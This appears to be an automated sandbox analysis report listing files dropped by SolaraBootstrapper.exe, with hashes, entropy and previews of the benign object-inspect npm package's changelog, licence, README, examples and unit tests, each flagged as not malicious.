SSDEEP:	384:EDrkOgLATKj4HAGAqw9eOrYnkiOC3CKTvuap6NMb8QclYo1IV7+DztX:EDwO7rAqRQYkihc06NNJ1s7EtX
MD5:	BA98096406B0A4D08AB41CB8DA9BE1F5
SHA1:	F57516529353B87743613506F6218E0A8E14BEC5
SHA-256:	2ABFE4F34C8505191B12272923FA52EF6A1B6F57FBE0AC345F0EC6BD9D77F26C
SHA-512:	B59CFE87CBAB2CC1912929F8E1EB0A3C7E240F9B3C3576D90B049D92429ED848B991DCAFBECFCA5F58369401378A4AAE949C1776BC1563F6B5B6089139BDC693
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.13.1](https://github.com/inspect-js/object-inspect/compare/v1.13.0...v1.13.1) - 2023-10-19..### Commits..- [Fix] in IE 8, global can !== window despite them being prototypes of each other [`30d0859`](https://github.com/inspect-js/object-inspect/commit/30d0859dc4606cf75c2410edcd5d5c6355f8d372)..## [v1.13.0](https://github.com/inspect-js/object-inspect/compare/v1.12.3...v1.13.0) - 2023-10-14..### Commits..- [New] add special handling for the global object [`431bab2`](https://github.com/inspect-js/object-inspect/commit/431bab21a490ee51d35395966a504501e8c685da).- [Dev Deps] update `@ljharb/eslint-config`, `aud`, `tape` [`fd4f619`](https://github.com/inspect-js/object-inspect/commit/fd4f6193562b4b0e95dcf5c0201b4e8cbbc4f58d).- [Dev Deps]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.105115233241345
Encrypted:	false
SSDEEP:	24:2rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:2aJHlxE3dQHOs5exm3ogFh
MD5:	288162F1D1BFA064F127F2B42D2A656F
SHA1:	316F0F178C369820DCCBAC7E4D5D54E4606F578B
SHA-256:	BD40CC437E28A3AD7BEF2AD34E6B72E757B182E67BDA1ACADBAB4EF0476F8232
SHA-512:	C52EAC54E782280792A159E2678EC15447C21CE7EB9F59E13DAB9D6D247AEFD3B99B0CB13C73ADBB6022F4DDFB5C436D2AE9F1547356714E6457521342EA9B11
Malicious:	false
Preview:	MIT License..Copyright (c) 2013 James Halliday..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\example\all.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	391
Entropy (8bit):	4.661165065013885
Encrypted:	false
SSDEEP:	6:Qhxi5mXe69QsKKiKRZggWotmqqpMF4D/gJFzWbWvNFCMsFLaYwKGAfv:siUXe69bKyD/ZEqqqqUJFzWoYFLT/Gyv
MD5:	B8D442ED717383560FEB97C876F25ABA
SHA1:	FF17B58E84D8D114C426DEDF40DAAA7A9293412D
SHA-256:	FCF0C7B568EB8914F89824172EC41782C57070BDC813D5FE27F165A90F628078
SHA-512:	DF5ED218FCA9B77099A8E96D4991BC1A470021B89D03CE16B818F17C7B0BB9CE1C6461E98B04B33AE0CAF7D066D5828B3AFB707E62B0A3D350C2604A541C18C1
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var Buffer = require('safer-buffer').Buffer;..var holes = ['a', 'b'];.holes[4] = 'e';.holes[6] = 'g';..var obj = {. a: 1,. b: [3, 4, undefined, null],. c: undefined,. d: null,. e: {. regex: /^x/i,. buf: Buffer.from('abc'),. holes: holes. },. now: new Date().};.obj.self = obj;.console.log(inspect(obj));.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\example\circular.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.7623169151259654
Encrypted:	false
SSDEEP:	3:agWIFMiVArFXAUprHR+mL3mY3tcPzWAgGeHUvn:Qhx/R+mLf3KyAfv
MD5:	0C8451B3BAC0583E123CB7B1050FB6AB
SHA1:	37E1A753EF1553066F30DC096283352C19AE06EF
SHA-256:	B73A9884E6566F11892FE8D2C42000170109E9A2EBB47E9FEE80FA8E040AAA5A
SHA-512:	F5D0D89DFE247A2BE76F32E1A7E17E76870A4D6B8564EE091D34E1856029F4F4C4BF9A600D7B47C2CB261E33D208390CA106F217E3EA57C5AB22A55514123118
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var obj = { a: 1, b: [3, 4] };.obj.c = obj;.console.log(inspect(obj));.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\example\fn.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	126
Entropy (8bit):	4.760078617188589
Encrypted:	false
SSDEEP:	3:agWIFMiVArFXAUprHxQFwyXt3t0Qbx0fkFCKAgGeHUvn:Qhx/xQay93C9fMCKAfv
MD5:	AF9618022DB9BA0071797196C10D751A
SHA1:	D7295C7B7D9B73E6760C96E1A9B8BDA6B45FCE6B
SHA-256:	FF646D533194CD0B8A6C684B82E899C0930A3EBF944ABDEE8070C7C84F6A0BEF
SHA-512:	F6BBC3329238159039A73E81FCD8E43E862A76DA22DD092326176B7235555E1DC32858187E8E1E4C0AE0F9ADF0E91FB7FE031EBD1184950D296C07DEDEAB2B05
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var obj = [1, 2, function f(n) { return n + 5; }, 4];.console.log(inspect(obj));.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\example\inspect.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	5.079275931527289
Encrypted:	false
SSDEEP:	6:QaQIcA8gxs78mgO9lcHPbwieCaMe7guAOe+kztcJNbIYBfv:q9LasYucHPZeCaMeEjlcJhImfv
MD5:	07A5BAC8D2A636ECE191D742F496169D
SHA1:	537253E832602C4839F935BDE340C49A0CD44AA2
SHA-256:	060983EDB7C1A8350A7DACBE2F209D96C62B657B0FFBBEBBFE7FC3CD19E58E77
SHA-512:	2722402D6FCE40FF917D759F322C4944DA71BA9A68D24292D876A36AE62CA2BCAA8677DB4FE6AC6B7BF631CD52BBF121B3AA838FBAA9F1A5339BA26C073A2D53
Malicious:	false
Preview:	'use strict';../* eslint-env browser */.var inspect = require('../');..var d = document.createElement('div');.d.setAttribute('id', 'beep');.d.innerHTML = '<b>wooo</b><i>iiiii</i>';..console.log(inspect([d, { a: 3, b: 4, c: [5, 6, [7, [8, [9]]]] }]));.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	18882
Entropy (8bit):	4.834012149504999
Encrypted:	false
SSDEEP:	384:BNspDgYPWTFfB8OnNR6zAvnlxpCZydTgNR2cy5Y/o8xhEJl:BuxgYsWOnNozOx+yxgv2Zh
MD5:	30AEC21DA8FC4B15F237A4D6B99D1A9B
SHA1:	362295D5C15B784BFAED0E8E0842E480B62EF811
SHA-256:	FF92423AB1DB977C56B6A8F8BF38EA0DE97590E96DFA18ADA2639EDE3CA9CB42
SHA-512:	3164926F777EF113310519E249CE766223B5A967CC8638F1859B159DAE4A0B4971ABAA5184E29953E168F415EF9FB11DEA74C78154999B9BB846EECAABE56E58
Malicious:	false
Preview:	var hasMap = typeof Map === 'function' && Map.prototype;.var mapSizeDescriptor = Object.getOwnPropertyDescriptor && hasMap ? Object.getOwnPropertyDescriptor(Map.prototype, 'size') : null;.var mapSize = hasMap && mapSizeDescriptor && typeof mapSizeDescriptor.get === 'function' ? mapSizeDescriptor.get : null;.var mapForEach = hasMap && Map.prototype.forEach;.var hasSet = typeof Set === 'function' && Set.prototype;.var setSizeDescriptor = Object.getOwnPropertyDescriptor && hasSet ? Object.getOwnPropertyDescriptor(Set.prototype, 'size') : null;.var setSize = hasSet && setSizeDescriptor && typeof setSizeDescriptor.get === 'function' ? setSizeDescriptor.get : null;.var setForEach = hasSet && Set.prototype.forEach;.var hasWeakMap = typeof WeakMap === 'function' && WeakMap.prototype;.var weakMapHas = hasWeakMap ? WeakMap.prototype.has : null;.var hasWeakSet = typeof WeakSet === 'function' && WeakSet.prototype;.var weakSetHas = hasWeakSet ? WeakSet.prototype.has : null;.var hasWeakRef = typeof

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\package-support.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	365
Entropy (8bit):	4.006285574018992
Encrypted:	false
SSDEEP:	6:lQS1kS0Nw2TsjCAnqH1UnPoLkwN6akf0Ga0Qi7FZ8v:d1d0N36qVskkxak7aMv+
MD5:	6FCE49F76312774C181AACAA28EB6F03
SHA1:	ABDBD6FD5882FA792B013CDE86BB8CE0E0988B0D
SHA-256:	1D6770F17CA57A021AF57C931EBD3C787D0D06EBAED27DA98CFCC2EF77633247
SHA-512:	E1AFFADF56B6C28303DE6C229D25D05AB44F27F47B161156F3DA5521670F33150033B9EF511267136490E5B0E715D41FD2434BEB9BCF3247ECE99E30F2CBE808
Malicious:	false
Preview:	{. "versions": [. {. "version": "*",. "target": {. "node": "all". },. "response": {. "type": "time-permitting". },. "backing": {. "npm-funding": true,. "donations": [. "https://github.com/ljharb",. "https://tidelift.com/funding/github/npm/object-inspect". ]. }. }. ].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2702
Entropy (8bit):	4.788682108499932
Encrypted:	false
SSDEEP:	48:d1upQssIqgNpjqUL+7hALhag84+pB6M6X/YsEg4Gpu48H3swNCqQ94VZg:mpQswUhh+n63e3Gpu48H3tCqQ2e
MD5:	883B6091188E84E9DA4678F187C5251A
SHA1:	183856BC2F8CE3237B57E70C9D2EFF482DE00732
SHA-256:	8C3D7D1600BAAC2F157420293E74D75CD848771F6B5EB0F3EF836631051E3753
SHA-512:	1363574F5355107EC24DFBAF5D946FAA080E1DCB1E7F0C8DF2E630EC97A2DBE76780AD3AAF4A047B538E4E89B965D991FEDF951CA8CC06CE6D51773E5C84CB5C
Malicious:	false
Preview:	{. "name": "object-inspect",. "version": "1.13.1",. "description": "string representations of objects in node and the browser",. "main": "index.js",. "sideEffects": false,. "devDependencies": {. "@ljharb/eslint-config": "^21.1.0",. "@pkgjs/support": "^0.0.6",. "auto-changelog": "^2.4.0",. "core-js": "^2.6.12",. "error-cause": "^1.0.6",. "es-value-fixtures": "^1.4.2",. "eslint": "=8.8.0",. "for-each": "^0.3.3",. "functions-have-names": "^1.2.3",. "glob": "=10.3.7",. "globalthis": "^1.0.3",. "has-tostringtag": "^1.0.0",. "in-publish": "^2.0.1",. "jackspeak": "=2.1.1",. "make-arrow-function": "^1.2.0",. "mock-property": "^1.0.2",. "npmignore": "^0.3.0",. "nyc": "^10.3.2",. "safe-publish-latest": "^2.0.0",. "string.prototype.repeat": "^1.0.0",. "tape": "^5.7.1". },. "scripts": {. "prepack": "npmignore --auto --commentLines=autogenerated",. "prepublish": "not-in-publish \|\| npm run prepublishOnly",. "prepublishOn

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\readme.markdown

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2934
Entropy (8bit):	5.13814439819533
Encrypted:	false
SSDEEP:	48:DpQ1eI4ITUqpIgsB5hN18eIkDanK/baMIm9N9Ygl3Cy5IL0IoIsv:DpAXFnGgs7hN18H8anQbaiHxaLxVO
MD5:	5CCC51D51BC408A112F55E14044326AA
SHA1:	3D17CF7EC801109D00D971211CB4A4A0962E3F86
SHA-256:	FBD54872FD590AE1C104BA3F9F0CC00E08898209736F7BA57BAC74185423D89E
SHA-512:	E2F5E9F4ED4EACD3881E02F582ECB45F5746620012163EDE966E51D900F735A7316CA55F9E3F7EBAEEBEA9EB76E15167EC12914FC441A9018FB7CCC254317DC9
Malicious:	false
Preview:	# object-inspect <sup>[![Version Badge][2]][1]</sup>..string representations of objects in node and the browser..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![dependency status][5]][6].[![dev dependency status][7]][8].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][11]][1]..# example..## circular..``` js.var inspect = require('object-inspect');.var obj = { a: 1, b: [3,4] };.obj.c = obj;.console.log(inspect(obj));.```..## dom element..``` js.var inspect = require('object-inspect');..var d = document.createElement('div');.d.setAttribute('id', 'beep');.d.innerHTML = '<b>wooo</b><i>iiiii</i>';..console.log(inspect([ d, { a: 3, b : 4, c: [5,6,[7,[8,[9]]]] } ]));.```..output:..```.[ <div id="beep">...</div>, { a: 3, b: 4, c: [ 5, 6, [ 7, [ 8, [ ... ] ] ] ] } ].```..# methods..``` js.var inspect = require('object-inspect').```..## var s = inspect(obj, opts={})..Return a string `s` with the st

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test-core-js.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	534
Entropy (8bit):	4.711811985853924
Encrypted:	false
SSDEEP:	12:F+9Ks1qm0ogZs1v/eo/Ms1gDQogeMs1E/goS:/s1qm0oqs1v/eoks1gDQoYs1E/goS
MD5:	6B077CA4E0121955B25394433C54343C
SHA1:	81087ABE28D26DAC0808D6C210390EA3D57A1232
SHA-256:	16D580A89DEC81A3657E20D9F827768178ABE029BF31A950136A38852B493B9A
SHA-512:	48C2346DC4FC4D832A7335E0D66AA638BCC097AB11E79B0E66389AC9B990D8CE8950CEE7FB3CA3D30EDD89E27AF6EEC3CDDEA1E727FAEFED89EDA24C82AF71D7
Malicious:	false
Preview:	'use strict';..require('core-js');..var inspect = require('./');.var test = require('tape');..test('Maps', function (t) {. t.equal(inspect(new Map([[1, 2]])), 'Map (1) {1 => 2}');. t.end();.});..test('WeakMaps', function (t) {. t.equal(inspect(new WeakMap([[{}, 2]])), 'WeakMap { ? }');. t.end();.});..test('Sets', function (t) {. t.equal(inspect(new Set([[1, 2]])), 'Set (1) {[ 1, 2 ]}');. t.end();.});..test('WeakSets', function (t) {. t.equal(inspect(new WeakSet([[1, 2]])), 'WeakSet { ? }');. t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\bigint.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2082
Entropy (8bit):	4.792824681597972
Encrypted:	false
SSDEEP:	24:m2hNieJkdbNljEz+oNhEbLVy8+l8EEXOk95DAwNMLcC/h5OB7whJOXHwSwhuOSHu:pgmI8z+PfVvRHXOkUoCo1fvO
MD5:	184BB2182A9A0391EF8D996DBFFEEDC2
SHA1:	0D41749FE165079A5409E489C329E77579AA0A11
SHA-256:	2FDE9C2F1050C282C681F7F8AE987E68668271E2DBCA302AF431505E26D5981C
SHA-512:	A9CD46784436A0DC32E13BD5BC4EEE6CCB48FE07AD3868BF542CE75F61927794270D4D77AC23484F184A1303742A7F4AAFEB803E5396E6AC1155C049355C7BDE
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var test = require('tape');.var hasToStringTag = require('has-tostringtag/shams')();..test('bigint', { skip: typeof BigInt === 'undefined' }, function (t) {. t.test('primitives', function (st) {. st.plan(3);.. st.equal(inspect(BigInt(-256)), '-256n');. st.equal(inspect(BigInt(0)), '0n');. st.equal(inspect(BigInt(256)), '256n');. });.. t.test('objects', function (st) {. st.plan(3);.. st.equal(inspect(Object(BigInt(-256))), 'Object(-256n)');. st.equal(inspect(Object(BigInt(0))), 'Object(0n)');. st.equal(inspect(Object(BigInt(256))), 'Object(256n)');. });.. t.test('syntactic primitives', function (st) {. st.plan(3);.. /* eslint-disable no-new-func */. st.equal(inspect(Function('return -256n')()), '-256n');. st.equal(inspect(Function('return 0n')()), '0n');. st.equal(inspect(Function('return 256n')()), '256n');. });.. t.test('toStringT

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\browser\dom.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	416
Entropy (8bit):	4.813440858707373
Encrypted:	false
SSDEEP:	12:tsAjYsucHNDeCaMelKkKklcJhImaOHl6XBw:lYsuctDyKXbJhImak6Xy
MD5:	4B660AA43C5D4AB9AD1EBBB0A5E02C3A
SHA1:	2CD5165CF9B8ADF1A6EA5F7A824F61B3263BE8E4
SHA-256:	4450F3ADF5025565D98C6B8B8164884656D1187F9102636B016E7CF2895E8571
SHA-512:	2B3548DCA370B40B86BF600FB526DB84311D7B4840FC60BC4F6087DB9AC399FC24BFD2F17CE1DEAF72F160987A43E00001FB3C51F0A29DECCA25233FBC5C9E48
Malicious:	false
Preview:	var inspect = require('../../');.var test = require('tape');..test('dom element', function (t) {. t.plan(1);.. var d = document.createElement('div');. d.setAttribute('id', 'beep');. d.innerHTML = '<b>wooo</b><i>iiiii</i>';.. t.equal(. inspect([d, { a: 3, b: 4, c: [5, 6, [7, [8, [9]]]] }]),. '[ <div id="beep">...</div>, { a: 3, b: 4, c: [ 5, 6, [ 7, [ 8, [Object] ] ] ] } ]'. );.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\circular.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	451
Entropy (8bit):	4.617011266776486
Encrypted:	false
SSDEEP:	6:qaxUALS8/wgC+mLfwFwSYyEkWcy/AZIF1NiYkZkncFktqmHLEcaV9NEh:tRS4TmDSRWL/641NiYm7mLEdn6h
MD5:	5ABB264921988B179B7B5E00492660E5
SHA1:	340F146693A8E99579CD9E61211FBB023030C7DC
SHA-256:	E904CDDC6F53B4D0CA9171CEB31FE4039B8FEDEA78575863158B86A2EBA74D5C
SHA-512:	A8EC790096EC28F83F21F0B455B0A0FDE534707E0A03B7AAEDB601E0AE669171BAA091D5B247E2EA35DA8AD0CF2801A7444167D3F14A318CBA45287AC6D8CAD5
Malicious:	false
Preview:	var inspect = require('../');.var test = require('tape');..test('circular', function (t) {. t.plan(2);. var obj = { a: 1, b: [3, 4] };. obj.c = obj;. t.equal(inspect(obj), '{ a: 1, b: [ 3, 4 ], c: [Circular] }');.. var double = {};. double.a = [double];. double.b = {};. double.b.inner = double.b;. double.b.obj = double;. t.equal(inspect(double), '{ a: [ [Circular] ], b: { inner: [Circular], obj: [Circular] } }');.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\deep.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	400
Entropy (8bit):	4.616069165611815
Encrypted:	false
SSDEEP:	12:tRkzzdUYi4+EECWoLRZ9t+ECVoLRh666+tcRit+A:kKLzEEDoLRZmEcoLR/LtcRhA
MD5:	5D6AD24AD4F0B8F42D82BB5EBE29C7FF
SHA1:	21FE20D3E3C14C823999A243D697F09DB1E80AA9
SHA-256:	BFDD266350646F91F8B1367EE96925228FBB38C0FFA6AD285964465FAE5D2DD4
SHA-512:	89C8E73609696A6C3186079A1A9DA7FED17725D0693BEE0F9A63FC1E215D93FC395415C2514031FB85DF0E21649C18737DA23CE8AFFD16FD956FAFA30DA3A137
Malicious:	false
Preview:	var inspect = require('../');.var test = require('tape');..test('deep', function (t) {. t.plan(4);. var obj = [[[[[[500]]]]]];. t.equal(inspect(obj), '[ [ [ [ [ [Array] ] ] ] ] ]');. t.equal(inspect(obj, { depth: 4 }), '[ [ [ [ [Array] ] ] ] ]');. t.equal(inspect(obj, { depth: 2 }), '[ [ [Array] ] ]');.. t.equal(inspect([[[{ a: 1 }]]], { depth: 3 }), '[ [ [ [Object] ] ] ]');.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\element.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1575
Entropy (8bit):	4.803982543724783
Encrypted:	false
SSDEEP:	24:SqyIkySKrdEyLSK8tyLWRGLI8elKlhZlly8cwzKXY:SH9yS8LSsLsGLZh7cjwv
MD5:	83A77BDF49696A35F8D832A5FC1A740D
SHA1:	F6DAFEB02C2FFAAAE8158C013A13EAD3369050A0
SHA-256:	603B3D295BC8114FCF9DF39CCFCB1AF3091AD7F50C7963B73D03F624D0E12DEF
SHA-512:	D60BFACD02693A5C4852DB7682512269317FA1E24ED3DF206133B15518B23149767B108D8D5C5F6AB4DB3651A353E2BD4839C1457D103F4DB7A6FD07B1D9CBA9
Malicious:	false
Preview:	var inspect = require('../');.var test = require('tape');..test('element', function (t) {. t.plan(3);. var elem = {. nodeName: 'div',. attributes: [{ name: 'class', value: 'row' }],. getAttribute: function (key) { return key; },. childNodes: []. };. var obj = [1, elem, 3];. t.deepEqual(inspect(obj), '[ 1, <div class="row"></div>, 3 ]');. t.deepEqual(inspect(obj, { quoteStyle: 'single' }), "[ 1, <div class='row'></div>, 3 ]");. t.deepEqual(inspect(obj, { quoteStyle: 'double' }), '[ 1, <div class="row"></div>, 3 ]');.});..test('element no attr', function (t) {. t.plan(1);. var elem = {. nodeName: 'div',. getAttribute: function (key) { return key; },. childNodes: []. };. var obj = [1, elem, 3];. t.deepEqual(inspect(obj), '[ 1, <div></div>, 3 ]');.});..test('element with contents', function (t) {. t.plan(1);. var elem = {. nodeName: 'div',. getAttribute: function (key) { return key; },.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\err.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	4.6049941739196125
Encrypted:	false
SSDEEP:	24:YCW0YGiAmQocGSXXkUA2uFFIwik/oWdJYW5LbhOZpou/MW/asEALIkf1U1Af1htU:5M8o3SnlfKdRthObnUpkf1U1Af1ha
MD5:	597BF5A18387338A13F96892206A3A19
SHA1:	FAA1A3859812D32F723D5F226AF6A322123CB104
SHA-256:	3E673A17CBD47A527578D82AA9FEFF31621FCCA1BBF8D5FF88948633C3485644
SHA-512:	3DF3824FEF57FA27959C9502329C9B5E40A0449D060F7C9259DF3DF0F4B299CBAFB0EC1BFFA35A40817312D54EA43C550502355AA323BBC9B3A33FBA8CF090C7
Malicious:	false
Preview:	var test = require('tape');.var ErrorWithCause = require('error-cause/Error');..var inspect = require('../');..test('type error', function (t) {. t.plan(1);. var aerr = new TypeError();. aerr.foo = 555;. aerr.bar = [1, 2, 3];.. var berr = new TypeError('tuv');. berr.baz = 555;.. var cerr = new SyntaxError();. cerr.message = 'whoa';. cerr['a-b'] = 5;.. var withCause = new ErrorWithCause('foo', { cause: 'bar' });. var withCausePlus = new ErrorWithCause('foo', { cause: 'bar' });. withCausePlus.foo = 'bar';. var withUndefinedCause = new ErrorWithCause('foo', { cause: undefined });. var withEnumerableCause = new Error('foo');. withEnumerableCause.cause = 'bar';.. var obj = [. new TypeError(),. new TypeError('xxx'),. aerr,. berr,. cerr,. withCause,. withCausePlus,. withUndefinedCause,. withEnumerableCause. ];. t.equal(inspect(obj), '[ ' + [. '[TypeError]',. '[Typ

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\fakes.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	683
Entropy (8bit):	4.497758303715642
Encrypted:	false
SSDEEP:	12:sRV2hNclYLkvkBEGUKoD8FT2ddqr/4bbzsys564iL+b/FDR1nS:m2hNUrvkNToDvde4bEHiLKpRhS
MD5:	1517782BC7C86D8D4EA9E90D33037EFE
SHA1:	E78BEE2D9EEB0F7970DB84201F01941C919C63BD
SHA-256:	95454B37E092016B765DC3702C9D60B363A62E8B03DB8F39F5E7E4D37B17AF82
SHA-512:	24B5ECED9D52AA24E2FBAF9E02DE6AA4C907BD4162A98D575528C77FA26CCB407D3A37A8280B965027B12919D3FDA7E464037F46139D30D4B94BB9B7666640E2
Malicious:	false
Preview:	'use strict';..var inspect = require('../');.var test = require('tape');.var hasToStringTag = require('has-tostringtag/shams')();.var forEach = require('for-each');..test('fakes', { skip: !hasToStringTag }, function (t) {. forEach([. 'Array',. 'Boolean',. 'Date',. 'Error',. 'Number',. 'RegExp',. 'String'. ], function (expected) {. var faker = {};. faker[Symbol.toStringTag] = expected;.. t.equal(. inspect(faker),. '{ [Symbol(Symbol.toStringTag)]: \'' + expected + '\' }',. 'faker masquerading as ' + expected + ' is not shown as one'. );. });.. t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\fn.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2227
Entropy (8bit):	4.694473065755095
Encrypted:	false
SSDEEP:	24:A7D9Q0h3PjaSCmv+8aiZC7UYz8mv7Mva48mvPKTdWrmR+NCThDRiMF9aFaDKEuFd:A7G6m0vQNvA1vq40eUa7eQuZzaV
MD5:	921058AF80F9803DB1A2C8F4D7F5E701
SHA1:	7F2632DAF24BF80417E9E21407CEC2A7770A9BB3
SHA-256:	E2F0DC345D174BFB0F7CE790C5368702310015B0BE1EF274D72E3CE740DBE5D4
SHA-512:	09439C8BB9BB981343A858B2FDB37A5FC2B2391E173CBADF9E188716A84727DA2837AF2BF169FEA9509D5ACB35CDAA1B73F2A31452B89DBC65F99A307A449D2C
Malicious:	false
Preview:	var inspect = require('../');.var test = require('tape');.var arrow = require('make-arrow-function')();.var functionsHaveConfigurableNames = require('functions-have-names').functionsHaveConfigurableNames();..test('function', function (t) {. t.plan(1);. var obj = [1, 2, function f(n) { return n; }, 4];. t.equal(inspect(obj), '[ 1, 2, [Function: f], 4 ]');.});..test('function name', function (t) {. t.plan(1);. var f = (function () {. return function () {};. }());. f.toString = function toStr() { return 'function xxx () {}'; };. var obj = [1, 2, f, 4];. t.equal(inspect(obj), '[ 1, 2, [Function (anonymous)] { toString: [Function: toStr] }, 4 ]');.});..test('anon function', function (t) {. var f = (function () {. return function () {};. }());. var obj = [1, 2, f, 4];. t.equal(inspect(obj), '[ 1, 2, [Function (anonymous)], 4 ]');.. t.end();.});..test('arrow function', { skip: !arrow }, function (t) {. t.equal(inspect(arrow), '[Functi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\global.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	372
Entropy (8bit):	4.696157876222702
Encrypted:	false
SSDEEP:	6:Qhx8ALSEMbeajFXIcASmnqSlgxKA4ZxelFyQN6EJKLARuZXHqHHS:s8S4t9ZmquPwyqHksRuZXKS
MD5:	FE558C636B4234439B376B2E1B27F002
SHA1:	4FD83D73BB033D306F0B9B3CCFB823FE8367A7AA
SHA-256:	7C90C87B9B5062FA2AD7889E8981628D390CCC2C868E0A02BCC9FC2BE19492F8
SHA-512:	37A1FD08D61C3875789B71CB47E6251442EA77079028A13958D2B4B37A6F58DBE127E1993D5854E7FBF05734929FEDB3A06BE27C9E7027CD99E0F4AB31A8059A
Malicious:	false
Preview:	'use strict';..var inspect = require('../');..var test = require('tape');.var globalThis = require('globalthis')();..test('global object', function (t) {. /* eslint-env browser */. var expected = typeof window === 'undefined' ? 'globalThis' : 'Window';. t.equal(. inspect([globalThis]),. '[ { [object ' + expected + '] } ]'. );.. t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\object-inspect\test\has.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	514
Entropy (8bit):	4.85155815285756
Encrypted:	false
SSDEEP:	6:QhxUALeON64qHY3wO2P/qYKlI3e2GJosqJGMuPFyzXpwpJ+s2GmKHqJUSipKD4KH:sRRwHa8q7lbHt0p46ipK0A
MD5:	0694ED878C8943DBC3388240CC25D3EA
